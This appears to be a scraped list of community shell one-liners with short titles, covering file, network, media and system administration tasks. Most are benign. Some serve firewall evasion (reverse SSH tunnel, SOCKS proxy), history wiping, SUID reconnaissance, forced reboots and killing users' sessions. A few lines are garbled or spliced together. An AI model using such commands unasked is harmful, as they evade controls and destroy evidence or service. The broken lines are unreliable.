# Print stack trace of a core file without needing to enter gdb interactively
alias gdbbt="gdb -q -n -ex bt -batch"
# clone an USB stick using dd + see its process
dd if=/dev/sdc of=/dev/sdd conv=notrunc & while killall -USR1 dd; do sleep 5; done
# download file1 file2 file3 file4 .... file 100
wget http://domain.com/file{1..100}
# Merge several pdf files into a single file
pdftk $* cat output $merged.pdf
# make 100 directories with leading zero, 001...100, using bash3.X
mkdir $(printf '%03d\n' {1..100})
# converting horizontal line to vertical line
tr '\t' '\n' < inputfile
# Repeat a portrait eight times so it can be cut out from a 6"x4" photo and used
for visa or passport photosmontage 2007-08-25-3685.jpg +clone -clone 0-1 -clone 0-3 -geometry 500 -frame 5 output.jpg
# Watch your freebox flux, through a other internet connection (for French users
)vlc -vvv http://mafreebox.freebox.fr/freeboxtv/playlist.m3u --sout
'#transcode{vcodec=mp2v,vb=384,scale=0.5,acodec=vorbis,ab=48,channels=1}:standard{access=http,mux=ogg,url=:12345}' -I ncurses 2> /dev/null
# Take a screenshot of the window the user clicks on and name the file the same
as the window titlesleep 4; xwd >foo.xwd; mv foo.xwd "$(dd skip=100 if=foo.xwd bs=1 count=256 2>/dev/null | egrep -ao '^[[:print:]]+' | tr / :).xwd"
# Use result of the last command
`!!`
# Most simple way to get a list of open ports
netstat -lnp
# List files by quoting or escaping special characters.
ls --quoting-style={escape,shell,c}
# Show your account and windows policy settings with Results of Policy msc.
rsop.msc
# send file to remote machine and unzip using ssh
ssh user@host 'gunzip - > file' < file.gz
# To have only unique lines in a file
sort file1.txt | uniq > file2.txt
# Convert df command to posix; uber GREPable
df -P
# Change Title of Terminal Window to Verbose Info useful at Login
echo -ne "\033]0;`id -un`:`id -gn`@`hostname||uname -n|sed 1q` `who -m|sed -e "s%^.* \(pts/[0-9]*\).*(\(.*\))%[\1] (\2)%g"` [`uptime|sed -e "s/.*:
\([^,]*\).*/\1/" -e "s/ //g"` / `ps aux|wc -l`]\007"
# Run local bash script on remote server
ssh -T user@server < script.sh
# enable all bash completions in gentoo
for x in $(eselect bashcomp list | sed -e 's/ //g' | cut -d']' -f2 | sed -e 's/\*//');do eselect bashcomp enable $x --global;sleep 0.5s;done
# Printable random characters
tr -dc '[:print:]' < /dev/urandom
# Print line immediately before a matching regex.
awk '/regex/{print x};{x=$0}'
# list all hd partitions
awk '/d.[0-9]/{print $4}' /proc/partitions
# floating point operations in shell scripts
bc -l <<< s(3/5)
# Remove Thumbs.db files from folders
rm -f **/Thumbs.db
# send a .loc file to a garmin gps over usb
gpsbabel -D 0 -i geo -f "/path/to/.loc" -o garmin -F usb:
# List last opened tabs in firefox browser
F="$HOME/.moz*/fire*/*/session*.js" ; grep -Go 'entries:\[[^]]*' $F | cut -d[ -f2 | while read A ; do echo $A | sed s/url:/\n/g | tail -1 | cut -d\" -f2; done
# Find jpeg images and copy them to a central location
find . -iname "*.jpg" -print0 | tr '[A-Z]' '[a-z]' | xargs -0 cp --backup=numbered -dp -u --target-directory {location} &
# Lock your KDE4 remotely (via regular KDE lock)
DISPLAY=:0 /usr/lib/kde4/libexec/krunner_lock --forcelock >/dev/null 2>&1 &
# Uniformly correct filenames in a directory
for i in *;do mv "$i" "$(echo $i | sed s/PROBLEM/FIX/g)";done
# Compare two files side-by-side
sdiff file1 file2
# remote-pbzip2 and transfer a directory to local file
ssh user@host 'tar -c --use-compress-prog=pbzip2 //' > .tar.bz2
# SVN Status log to CSV
svn log | tr -d '\n' | sed -r 's/-{2,}/\n/g' | sed -r 's/ \([^\)]+\)//g' | sed -r 's/^r//' | sed -r "s/[0-9]+ lines?//g" | sort -g
# Generate 10 pronunciable passwords
apg -a 0 -n 10
# formatting number with comma
printf "%'d\n" 1234567
# Simulate typing
echo "You can have a bit more realistic typing with some shell magic." | pv -qL $[10+(-2 + RANDOM%5)]
# list and sort files by size in reverse order (file size in human readable outp
ut)ls -S -lhr
# Send a local file via email
mutt your@email_address.com -s "Message Subject Here" -a attachment.jpg /sys/class/scsi_host/host0/scan
# calulate established tcp connection of local machine
netstat -an | awk '$1 ~ /[Tt][Cc][Pp]/ && $NF ~ /ESTABLISHED/{i++}END{print "Connected:\t", i}'
# Analyse compressed Apache access logs for the most commonly requested pages
zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20
# Adjust gamma so monitor doesn't mess up your body's clock
xrandr | sed -n 's/ connected.*//p' | xargs -n1 -tri xrandr --output {} --brightness 0.7 --gamma 2:3:4
# Console clock -- within screen
echo 'hardstatus alwayslastline " %d-%m-%y %c:%s | %w"' >> $HOME/.screenrc; screen
# find and grep Word docs
find . -iname '*filename*.doc' | { while read line; do antiword "$line"; done; } | grep -C4 search_term;
# List all TCP opened ports on localhost in LISTEN mode
netstat -nptl
# Convert files from DOS line endings to UNIX line endings
perl -pi -e 's/\r\n?/\n/g'
# Find the ratio between ram usage and swap usage.
sysctl -a | grep vm.swappiness
# Getting GnuPG Public Keys From KeyServer
gpg --keyserver pgp.surfnet.nl --recv-key 19886493
# Find out what package some command belongs to (on RPM systems)
rpm -qif `which more`
# Monitor a file with tail with timestamps added
tail -f file | while read line; do printf "$(date -u '+%F %T%z')\t$line\n"; done
# Word-based diff on reformatted text files
diff -uw <(fmt -1 {file1, file2})
# Displays process tree of all running processes
pstree -Gap
# Extract track 9 from a CD
mplayer -fs cdda://9 -ao pcm:file=track9.wav
# List all execs in $PATH, usefull for grepping the resulting list
find ${PATH//:/ } -executable -type f -printf "%f\n"
# Save a file you edited in vim without the needed permissions - (Open)solaris v
ersion with RBAC:w !pfexec tee %
# Using netcat to copy files between servers
On target: "nc -l 4000 | tar xvf -" On source: "tar -cf - . | nc target_ip 4000"
# Are the two lines anagrams?
(echo foobar; echo farboo) | perl -E 'say[sort<>=~/./g]~~[sort<>=~/./g]?"anagram":"not anagram"'
# List your MACs address
ip link | awk '/link/ {print $2}'
# Delete C style comments using vim
vim suite.js -c '%s!/\*\_.\{-}\*/!!g'
# Edit all files found having a specific string found by grep
grep -Hrli 'foo' * | xargs vim
# Clear your history saved into .bash_history file!
history -c && rm -f ~/.bash_history
# Bash autocomplete case insensitive search
shopt -s nocaseglob
# Alternative size (human readable) of files and directories (biggest last)
du -ms * .[^.]*| sort -nk1
# Find and display most recent files using find and perl
find $HOME -type f -print0 | perl -0 -wn -e '@f=<>; foreach $file (@f){ (@el)=(stat($file)); push @el, $file; push @files,[ @el ];} @o=sort{$a->[9]<=>$b->[9]}
@files; for $i (0..$#o){print scalar localtime($o[$i][9]), "\t$o[$i][-1]\n";}'|tail
# Print a row of characters across the terminal
printf -v row "%${COLUMNS}s"; echo ${row// /#}
# run command on a group of nodes in parallel redirecting outputs
xargs -n1 -P100 -I{} sh -c 'ssh {} uptime >output/{} 2>error/{}' ; declare -f
# To get the CPU temperature continuously on the desktop
while :; do acpi -t | osd_cat -p bottom ; sleep 1; done &
# download a sequence of vim patch
seq -f"ftp://ftp.vim.org/pub/vim/patches/7.1/7.1.%03g" 176 240 | xargs -I {} wget -c {};
# Command to Show a List of Special Characters for bash prompt (PS1)
alias PS1="man bash | sed -n '/ASCII bell/,/end a sequence/p'"
# Forget remembered path locations of previously ran commands
hash -r
# Change SSH RSA passphrase
ssh-keygen -f ~/.ssh/id_rsa -p
# Copy sparse files
cp --sparse=always
# Find Out My Linux Distribution Name and Version
cat /etc/*-release
# Kill most recently created process.
pkill -n firefox
# List top 20 IP from which TCP connection is in SYN_RECV state
netstat -pant 2> /dev/null | grep SYN_ | awk '{print $5;}' | cut -d: -f1 | sort | uniq -c | sort -n | tail -20
# total text files in current dir
file -i * | grep -c 'text/plain'
# View the latest astronomy picture of the day from NASA.
apod(){ local x=http://antwrp.gsfc.nasa.gov/apod/;feh $x$(curl -s ${x}astropix.html|grep -Pom1 'image/\d+/.*\.\w+');}
# Who has the most Apache connections.
netstat -anl | grep :80 | awk '{print $5}' | cut -d ":" -f 1 | uniq -c | sort -n | grep -c IPHERE
# Clone current directory into /destination verbosely
find . | cpio -pumdv /destination
# Turn shell tracing and verbosity (set -xv) on/off with 1 command!
xv() { case $- in *[xv]*) set +xv;; *) set -xv ;; esac }
# Monitor a file with tail with timestamps added
tail -f file |xargs -IX printf "$(date -u)\t%s\n" X
# Count all conections estabilished on gateway
cat /proc/net/ip_conntrack | grep ESTABLISHED | grep -c -v ^#
# Catch a proccess from a user and strace it.
x=1; while [ $x = 1 ]; do process=`pgrep -u username`; if [ $process ]; then x=0; fi; done; strace -vvtf -s 256 -p $process
# Reverse ssh
#INSIDE-host# ssh -f -N -R 8888:localhost:22 user@somedomain.org # #OUTSIDE-host
#ssh user@localhost -p 8888#
# List all installed PERL modules by CPAN
perldoc perllocal
# find listening ports by pid
lsof -nP +p 24073 | grep -i listen | awk '{print $1,$2,$7,$8,$9}'
# Watch the progress of 'dd'
pkill -USR1 ^dd$
# Export log to html file
cat /var/log/auth.log | logtool -o HTML > auth.html
# Localize provenance of current established connections
for i in $(netstat --inet -n|grep ESTA|awk '{print $5}'|cut -d: -f1);do geoiplookup $i;done
# Hex math with bc
echo 'obase=16; C+F' | bc
# Scan for new SCSI devices
echo "- - -" > /sys/class/scsi_host/host0/scan
# geoip lookup
geoip(){curl -s "http://www.geody.com/geoip.php?ip=${1}" | sed '/^IP:/!d;s/<[^>][^>]*>//g' ;}
# Get file access control list
getfacl /mydir
# Ultimate current directory usage command
du -a --max-depth=1 | sort -n | cut -d/ -f2 | sed '$d' | while read i; do if [ -f $i ]; then du -h "$i"; else echo "$(du -h --max-depth=0 "$i")/"; fi; done
# Remove color codes (special characters) with sed
sed -r "s:\x1B\[[0-9;]*[mK]::g"'
# Add all files not under subversion control
for i in $(svn st | grep "?" | awk '{print $2}'); do svn add $i; done;
# Currency Conversion
currency_convert() { wget -qO- "http://www.google.com/finance/converter?a=$1&from=$2&to=$3&hl=es" | sed '/res/!d;s/<[^>]*>//g'; }
# list files with last modified at the end
alias lrt='ls -lart'
# Batch File Rename with awk and sed
ls foo*.jpg | awk '{print("mv "$1" "$1)}' | sed 's/foo/bar/2' | /bin/sh
# Display time of accounts connection on a system
ac -p
# ISO info
isoinfo -d -i filename.iso
# Get your commandlinefu points (upvotes - downvotes)
username=bartonski;curl -s http://www.commandlinefu.com/commands/by/$username/json|perl -e 'BEGIN{$s=0;$n=0};END{print "Score: $s\nEntries: $n\nMean: ";printf
"%3.2f\n",$s/$n}' -0173 -nae 'foreach $f (@F){if($f =~ /"votes":"(-*\d+)"/){$s += $1; $n++;}}'
# Minimize Apps When Middle Clicking on Titlebar
gconftool-2 --set "/apps/metacity/general/action_middle_click_titlebar" --type string "minimize"
# Display a list of all PHP classes that are called statically
find . -name "*\.php" | xargs grep -o --color "\w\+::\w\+" | cut -d":" -f2 | sort | uniq -c
# Runs a command without hangups.
nohup &
# Empty the linux buffer cache
sync && echo 3 > /proc/sys/vm/drop_caches
# print all except first collumn
cut -f 2- -d " "
# Binary clock
for a in $(date +"%H%M"|cut -b1,2,3,4 --output-delimiter=" ");do case "$a" in 0)echo "....";;1)echo "...*";;2)echo "..*.";;3)echo "..**";;4)echo ".*..";;5)echo
".*.*";;6)echo ".**.";;7)echo ".***";;8)echo "*...";;9)echo "*..*";;esac;done
# List all active access_logs for currently running Apache or Lighttpd process
lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print substr($7,1,index($7,"/")-1)}')| awk '$9 ~ /access.log$/ {print $9| "sort -u"}'
# Prevent non-root users from logging in
touch /etc/nologin
# Quickly Encrypt a file with gnupg and email it with mailx
cat private-file | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email Subject" user@email.com
# Binary clock
read -a A <<<"8 9 5 10 6 0 3 11 7 4";B='.*.**..*....***';for C in $(date +"%H%M"|fold -w1);do echo "${B:${A[C]}:4}";done
# exit if another instance is running
if [ `fuser $0|wc -w` -gt "1" ];then exit; fi
# output stats from a running dd command to see its progress
watch -n60 --kill -USR1 $(pgrep dd)
# Gives you what's between first string and second string included.
sed "s/^ABC/+ABC/" ]*>' '/class=\"command\"/{gsub(/"/,"\"",$2); gsub(/</,"<",$2);
gsub(/>/,">",$2); gsub(/&/,"\\&",$2); cmd=$2} /class=\"num-votes\"/{printf("%3i %s\n", $2, cmd)}'
# find broken symbolic links
find -L . -type l
# Size (in bytes) of all RPM packages installed
echo $((`rpm -qa --queryformat='%{SIZE}+' | sed 's/+$//'`))
# rename all jpg files with a prefix and a counter
ls *.jpg | grep -n "" | sed 's,.*,0000&,' | sed 's,0*\(...\):\(.*\).jpg,mv "\2.jpg" "image-\1.jpg",' | sh
# Remount root in read-write mode.
sudo mount -o remount,rw /
# make directory with current date
mkdir $(date +%Y_%m_%d)
# Copy from host 1 to host 2 through your host
ssh root@host1 ?cd /somedir/tocopy/ && tar -cf ? .? | ssh root@host2 ?cd /samedir/tocopyto/ && tar -xf -?
# Pick a random image from a directory (and subdirectories) every thirty minutes
and set it as xfce4 wallpaperwhile :; do xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s "$(find -type f -iregex
'.*\.\(bmp\|gif\|jpg\|png\)$' | sort -R | head -1)"; sleep 30m; done
# grep across a git repo and open matching files in gedit
git grep -l "your grep string" | xargs gedit
# Show current pathname in title of terminal
export PROMPT_COMMAND='echo -ne "\033]0;${PWD/#$HOME/~}\007";'
# give me back my sound card
lsof /dev/snd/pcm*p /dev/dsp | awk ' { print $2 }' | xargs kill
# Debug SSH at the Maximum Verbosity Level
alias sshv='ssh -vvv -o LogLevel=DEBUG3'
# Copy input sent to a command to stderr
rev <<< 'lorem ipsum' | tee /dev/stderr | rev
# fetch all revisions of a specific file in an SVN repository
svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s
# type partial command, kill this command, check something you forgot, yank the
command, resume typing.dd [...] p
# Prepend a text to a file.
sed -i '1s/^/text to prepend\n/' file1
# sorting file contents into individual files with awk
awk '{print > $3".txt"}' FILENAME
# doing some floating point math
echo "8000000/(20*6*86400)" | bc -l
# Puts every word from a file into a new line
tr ' \t' '\n' OUTFILE
# Read aloud a text file in Ubuntu (and other Unixes with espeak installed
espeak -f text.txt
# get colorful side-by-side diffs of files in svn with vim
vimdiff <(svn cat "$1") "$1"
# List only directories, one per line
ls -1d */
# Recursively scan directories for mp3s and pass them to mplayer
rm -rf /tmp/playlist.tmp && find ~/mp3 -name *.mp3 > /tmp/playlist.tmp && mplayer -playlist /tmp/playlist.tmp -shuffle -loop 0 | grep Playing
# Install Linux Kernel Headers
sudo apt-get install linux-headers-$(uname -r)
# Gzip files older than 10 days matching *
find . -type f -name "*" -mtime +10 -print -exec gzip {} \;
# Random colours at random locations
p(){ printf "\033[%d;%dH\033[4%dm \033[m" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); }; clear;while :;do p; sleep .001;done
# Awk: Perform a rolling average on a column of data
awk 'BEGIN{size=5} {mod=NR%size; if(NR<=size){count++}else{sum-=array[mod]};sum+=$1;array[mod]=$1;print sum/count}' file.dat
# pimp text output e.g. "Linux rocks!" to look nice
cowsay Linux rocks!
# Listing only one repository with yum
yum --disablerepo=* --enablerepo=epel list available
# Create a backup copy of a MySQL database on the same host
mysqldump OLD_DB | cat <(echo "CREATE DATABASE NEW_DB; USE NEW_DB;") - | mysql
# List only directories, one per line
find . -type d -maxdepth 1
# replace a character/word/string in a file using vim
:%s/old/new/g
# Check if you need to run LaTeX to update the TOC
cp texfile.toc texfile.toc.bak; latex texfile.tex; cmp -s texfile.toc texfile.toc.bak; if [ $? -ne 0 ]; then latex texfile.tex; fi
# Force hard reset on server
echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
# remove files and directories with acces time older than a given date
touch -t "YYYYMMDDhhmm.ss" dummy ; find . -anewer dummy
# pimp text output e.g. "Linux rocks!" to look nice
figlet Linux rocks!
# display a smiling smiley if the command succeeded and a sad smiley if the comm
and failed; if [[ "$?" = 0 ]]; then echo ':)'; else echo ':('; fi
# Short URLs with is.gd
isgd() { /usr/bin/wget -qO - "http://is.gd/create.php?format=simple&url=$1" ;}
# Time Synchronisation with NTP
ntpdate ntp.ubuntu.com pool.ntp.org
# Speaking alarm clock
sleep 8h && while [ 1 ] ; do date "+Good Morning. It is time to wake up. The time is %I %M %p" | espeak -v english -p 0 -s 150 -a 100 ; sleep 1m; done
# split source code to page with numbers
pr -l 40 bitree.c > printcode; split -40 printcode -d page_
# Update Ping.fm status
curl -d api_key="$api_key" -d user_app_key="$user_app_key -d body="$body" -d post_method="default" http://api.ping.fm/v1/user.post
# Commit command to history file immedeately after execution
PROMPT_COMMAND="history -a"
# Burn a directory of mp3s to an audio cd.
alias burnaudiocd='mkdir ./temp && for i in *.[Mm][Pp]3;do mpg123 -w "./temp/${i%%.*}.wav" "$i";done;cdrecord -pad ./temp/* && rm -r ./temp'
# Analyze, check, auto-repair and optimize Mysql Database
mysqlcheck -a --auto-repair -c -o -uroot -p [DB]
# Generate the CPU utilization report
sar -u 2 5
# Dump HTTP header using wget
wget --server-response --spider http://www.example.com/
# cooking a list of numbers for calculation
echo $( du -sm /var/log/* | cut -f 1 ) | sed 's/ /+/g'
# See entire packet payload using tcpdump.
tcpdump -nnvvXSs 1514 -i
# View acceptable client certificate CA names asked for during SSL renegotiation
sopenssl s_client -connect www.example.com:443 -prexit
# diff output of two commands
diff <(tail -10 file1) <(tail -10 file2)
# Display command lines visible on commandlinefu.com homepage
ruby -ropen-uri -e 'require "hpricot";(Hpricot(open("http://commandlinefu.com"))/".command").each{|c| puts c.to_plain_text}'
# Set creation timestamp of a file to the creation timestamp of another
touch -r "$FILE1" "$FILE2"
# Restore user,group and mod of an entire website
alias restoremod='chgrp users -R .;chmod u=rwX,g=rX,o=rX -R .;chown $(pwd |cut -d / -f 3) -R .'
# Prints new content of files
tail -f file1 (file2 .. fileN)
# Remove annoying files from recently extracted zip archive
unzip -lt foo.zip | grep testing | awk '{print $2}' | xargs rm -r
# Test a serial connection
host A: cat /proc/dev/ttyS0 host B: echo hello > /dev/ttyS0
# Find all files currently open in Vim and/or gVim
vim -r 2>&1 | grep '\.sw.' -A 5 | grep 'still running' -B 5
# Display Motherboard Info
dmidecode -t baseboard
# backup your playstation game using rip
$ cdrdao read-cd --read-raw --datafile FILE_NAME.bin --device /dev/cdrom --driver generic-mmc-raw FILE_NAME.toc
# unbuffered python output
$ python -u script.py
# Sum file sizes
du -scb
# Netstat Connection Check
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail
# record the input of your sound card into ogg file
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg
# Scrollable Colorized Long Listing - Hidden Files Sorted Last
less -Rf <( cat <(ls -l --color=always) <(ls -ld --color=always .*) )
# Launch a game, like Tetris, when apt-get installing an app larger than 50 Mega
bytesAPP=wine; if [ $(sudo apt-get --print-uris -y install $APP | sed -ne 's/^After this operation, \([0-9]\{1,\}\).*MB.*/\1/p') -gt 50 ]; then gnometris
2>/dev/null & sudo apt-get install $APP; else sudo apt-get install $APP; fi
# diff two svn repos ignoring spaces,tabs and svnfiles
diff -wubBEr -x .svn dirA dirB
# The program listening on port 8080 through IPv6
lsof -Pnl +M -i6:8080
# Run a command on a remote machine
ssh user@host "ps aux | grep httpd | wc -l"
# Grab a list of MP3s out of Firefox's cache
find ~/.mozilla/firefox/*/Cache -exec file {} \; | awk -F ': ' 'tolower($2)~/mpeg/{print $1}'
# Import/clone a Subversion repo to a git repo
git svn --authors-file=some-authors-file clone svn://address/of/svn/repo new-git-dir
# read a file line by line and perform some operation on each line
while read line; do echo "$(date),$(hostname),$line"; done < somefile.txt
# Show memory stats on Nexenta/Solaris
echo ::memstat | mdb -k
# Prints any IP out of a file
perl -ne 'while (/([0-9]+\.){3}[0-9]+/g) {print "$&\n"};' file.txt
# Show bash's function definitions you defined in .bash_profile or .bashrc
declare -f [ function_name ]
# Open Remote Desktop (RDP) from command line having a custom screen size
xfreerdp --plugin rdpsnd -g 1280x720 -a 24 -z -x m -u $username -p $password 10.20.30.40
# Pull Total Memory Usage In Virtual Environment
ps axo rss,comm | awk '{sum+=$1; print $1/1024, "MB - ", $2} END {print "\nTotal RAM Used: ", sum/1024, "MB\n"}'
# Make backups recurse through directories
find -type -f -exec cp {} {}.bak \;
# Search for an active process without catching the search-process
ps -ef | awk '/process-name/ && !/awk/ {print}'
# On Screen micro display for battery and CPU temperature. nifty, small, omnipre
sentacpi -t | osd_cat -p bottom
# Speed up upgrades for a debian/ubuntu based system.
sudo aptitude update; sudo apt-get -y --print-uris upgrade | egrep -o -e "http://[^\']+" | sudo aria2c -c -d /var/cache/apt/archives -i -; sudo aptitude -y
safe-upgrade
# Cheap iftop
watch 'netstat -anptu |egrep "^Proto|:80 "'
# Delete empty directories recursively
find -depth -type d -empty -exec rmdir -v {} \;
# Remove all mail in Postfix mail queue.
postsuper -d ALL
# Schedule a command while one is already running.
a command is running... <^z> fg; scheduled_command
# Find all dot files and directories
ls -d .*
# Get just the IP for a hostname
getent hosts google.com | awk '{print $1}'
# Find default gateway (proper at ppp connections too)
route -n | perl -ne '$ANY="0.0.0.0"; /^$ANY/ and split /\s+/ and print "Gateway to the World: ",($_[1]!=$ANY)?$_[1]:(`ip address show $_[$#_]`=~/peer
([0-9\.]+)/ and $1),", via $_[$#_].\n"'
# Mac OS X: Change Color of the ls Command
export LSCOLORS=gxfxcxdxbxegedabagacad
# ping a host until it responds, then play a sound, then exit
beepwhenup () { echo 'Enter host you want to ping:'; read PHOST; if [[ "$PHOST" == "" ]]; then exit; fi; while true; do ping -c1 -W2 $PHOST 2>&1 >/dev/null; if
[[ "$?" == "0" ]]; then for j in $(seq 1 4); do beep; done; ping -c1 $PHOST; break; fi; done; }
# Download a new release of a program that you already have very quickly
zsync -i existing-file-on-disk.iso http://example.com/new-release.iso.zsync
# Does a traceroute. Lookup and display the network or AS names and AS numbers.
lft -NAS google.com
# Start a SOCKS proxy to avoid a restrictive firewall
autossh -N -D localhost:1080 myhome.example.net -p 443
# Search inside a folder of jar/zip files
find . -name "*.jar" | xargs -tn1 jar tvf | grep --color "SearchTerm"
# Simple way to envoke a secure vnc session through ssh enabled router.
vncviewer -via root@your.dyndns.com 192.168.1.1
# Find all files with root SUID or SGID executables
sudo find / -type f \( -perm /4000 -a -user root \) -ls -o \( -perm /2000 -a -group root \) -ls
# Juste a reminder that this works.
true || false && echo true || echo false
# LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
ls -l --time-style=+%Y-%m-%d | awk "/$(date +'%Y-%m-%d')/ {print \$7}"
# List your MACs address
sort -u < /sys/class/net/*/address
# Create a html of information about you harddisk
lshw -C disk -html > /tmp/diskinfo.html
# Alternative size (human readable) of files and directories (biggest last)
du -ms * | sort -nk1
# Check a server is up. If it isn't mail me.
curl -fs brandx.jp.sme 2&>1 > /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk
# Replace Caps-lock with Control-key
xmodmap -e 'remove Lock = Caps_Lock' && xmodmap -e 'add control = Caps_Lock'
# Extract IPv4 addressess from file
grep -Eo \([0-9]\{1,3\}[\.]\)\{3\}[0-9] file | sort | uniq
# continuously check size of files or directories
watch -n "du -s "
# Compare two CSV files, discarding any repeated lines
cat foo.csv bar.csv | sort -t "," -k 2 | uniq
# Extract title from HTML files
awk 'BEGIN{IGNORECASE=1;FS="|";RS=EOF} {print $2}' file.html
# remove lines which are longer than 255
sed -n '/^.\{255\}/!p'
# Alias to edit and source your .bashrc file
alias vb='vim ~/.bashrc; source ~/.bashrc'
# List all symbolic links in current directory
\ls -1 | xargs -l readlink
# Multi line grep using sed and specifying open/close tags
cat file.txt | sed -e //d -e //G | sed -e '/./{H;$!d;}' -e 'x;//!d;'
# send tweets to twitter (and get user details)
curl --basic --user "user:pass" --data-ascii "status=tweeting%20from%20%the%20linux%20command%20line" http://twitter.com/statuses/update.json
# Show log message including which files changed for a given commit in git.
git --no-pager whatchanged -1 --pretty=medium
# List all symbolic links in current directory
ls -lah | grep ^l
# Slightly better compressed archives
find . \! -type d | rev | sort | rev | tar c --files-from=- --format=ustar | bzip2 --best > a.tar.bz2
# Find the real procesor speed when you use CPU scaling [cpuspeed]
awk -F": " '/cpu MHz\ */ { print "Processor (or core) running speed is: " $2 }' /proc/cpuinfo ; dmidecode | awk -F": " '/Current Speed/ { print "Processor real
speed is: " $2 }'
# copy from host1 to host2, through your host
ssh user@ -- tar cz | ssh user@ -- tar vxzC
# Count accesses per domain
cut -d'/' -f3 file | sort | uniq -c
# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep 'inet addr' | cut -d ':' -f 2 | cut -d ' ' -f 1
# Show Directories in the PATH Which does NOT Exist
ls -d $(echo ${PATH//:/ }) > /dev/null
# vi case insensitive search
:set ic
# Burn an ISO on the command line.
cdrecord -v speed=4 driveropts=burnfree dev=/dev/scd0 cd.iso
# Grep log between range of minutes
grep -i "$(date +%b" "%d )13:4[0-5]" syslog
# Print number of mb of free ram
free -m | awk '/Mem/ {print $4}'
# Find files with at least one exec bit set
find . -type f -perm +0111 -print
# Delete all aliases for a network interface on a (Free)BSD system
ifconfig | grep "0xffffffff" | awk '{ print $2 }' | xargs -n 1 ifconfig em0 delete
# Extracting a range of pages from a PDF, using GhostScript
gs -sDEVICE=pdfwrite -dNOPAUSE -dBATCH -dSAFER -dFirstPage=14 -dLastPage=17 -sOutputFile=OUTPUT.pdf ORIGINAL.pdf
# Flush and then immediately start watching a file
(> errors.log) && tail -f !^
# View a file with less, starting at the end of the file
less +G
# Top Command in batch mode
top -b -n 1
# Split a file one piece at a time, when using the split command isn't an option
(not enough disk space)dd if=inputfile of=split3 bs=16m count=32 skip=64
# Convert files from DOS line endings to UNIX line endings
sed -i 's/^M//' file
# Print number of mb of free ram
free -m | awk '/buffer/ {print $4}'
# Monitor incoming connections of proxies and balancers.
watch -n 1 "/usr/sbin/lsof -p PID |awk '/TCP/{split(\$8,A,\":\"); split(A[2],B,\">\") ; split(B[1],C,\"-\"); print A[1],C[1],B[2], \$9}' | sort | uniq -c"
# Find chronological errors or bad timestamps in a Subversion repository
URL=http://svn.example.org/project; diff -u <(TZ=UTC svn -q log -r1:HEAD $URL | grep \|) <(TZ=UTC svn log -q $URL | grep \| | sort -k3 -t \|)
# creeate file named after actual date
touch file-$(date +%Y%m%d)
# Fibonacci With Case
fib(){ case $1 in 0)echo 0;;1)echo 1;;[0-9]*)echo $[$(fib $[$1-2])+$(fib $[$1-1])];;*)exit 1;;esac;}
# a fast way to repeat output a byte
ghc -e "mapM_ (\_->Data.ByteString.Char8.putStr (Data.ByteString.Char8.replicate (1024*1024) '\\255')) [1..24]"
# netstat with group by (ip adress)
netstat -ntu | awk ' $5 ~ /^[0-9]/ {print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
# Find commets in jpg files.
find / -name "*.jpg" -print -exec rdjpgcom '{}' ';'
# Factorial With Case
fac(){ case $1 in 0|1)echo 1;;[0-9]*)echo $[$1*$(fac $[$1-1])];;*)exit 1;;esac }
# Colour part of your prompt red to indicate an error
export PROMPT_COMMAND='if (($? > 0)); then echo -ne "\033[1;31m"; fi'; export PS1='[\[\]\u\[\033[0m\] \[\033[1;34m\]\w\[\033[0m\]]\$ '
# archlinux: find more commands provided by the package owning some command
pkgfile -lb `pkgfile `
# how many pages will my text files print on?
numpages() { echo $(($(wc -l $* | sed -n 's/ total$//p')/60)); }
# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep "inet " | cut -d ':' -f2 | awk '{print $1}'
# A command line calculator in Perl
perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;'
# A "Web 2.0" domain name generator and look for register availability
for domain in $(pwgen -1A0B 6 10); do echo -ne "$domain.com "; if [ -z "$(whois -H $domain.com | grep -o 'No match for')" ]; then echo -ne "Not "; fi; echo
"Available for register"; done
# Nicely display permissions in octal format with filename
stat -f '%Sp %p %N' * | rev | sed -E 's/^([^[:space:]]+)[[:space:]]([[:digit:]]{4})[^[:space:]]*[[:space:]]([^[:space:]]+)/\1 \2 \3/' | rev
# Prints per-line contribution per author for a GIT repository
git ls-files | xargs -n1 -d'\n' -i git-blame {} | perl -n -e '/\s\((.*?)\s[0-9]{4}/ && print "$1\n"' | sort -f | uniq -c -w3 | sort -r
# Find if $b is in $a in bash
if grep -q "$b" <<<$a; then echo "'$b' was found in '$a'"; fi
# Command to logout all the users in one command
who -u | grep -vE "^root " | kill `awk '{print $7}'`
# Use Perl like grep
prep () { perl -nle 'print if '"$1"';' $2 }
# phpinfo from the command line
echo "" | php > phpinfo.txt
# Open a file at the specified line
emacs +400 code.py
# Non Numeric Check
if [ -z $(echo $var | grep [0-9]) ]; then echo "NON NUMERIC"; fi
# Find if $b is in $a in bash
if [ "x${a/$b/}" != "x$a" ]; then echo "'$b' is in '$a'"; fi
# Complex string encoding with sed
cat index.html | sed 's|"index.html%3Ffeed=rss2"|"http://dynamic-blog.hemca.com/?feed=rss2.html"|g'
# start vim in diff mode
vimdiff file{1,2}
# echo something backwards
echo linux|rev
# grep -v with multiple patterns.
sed -n '/test/{/error\|critical\|warning/d;p}' somefile
# Fast tape rewind
< /dev/rmt/0cbn
# Video Google download
wget -qO- "VURL" | grep -o "googleplayer.swf?videoUrl\\\x3d\(.\+\)\\\x26thumbnailUrl\\\x3dhttp" | grep -o "http.\+" | sed
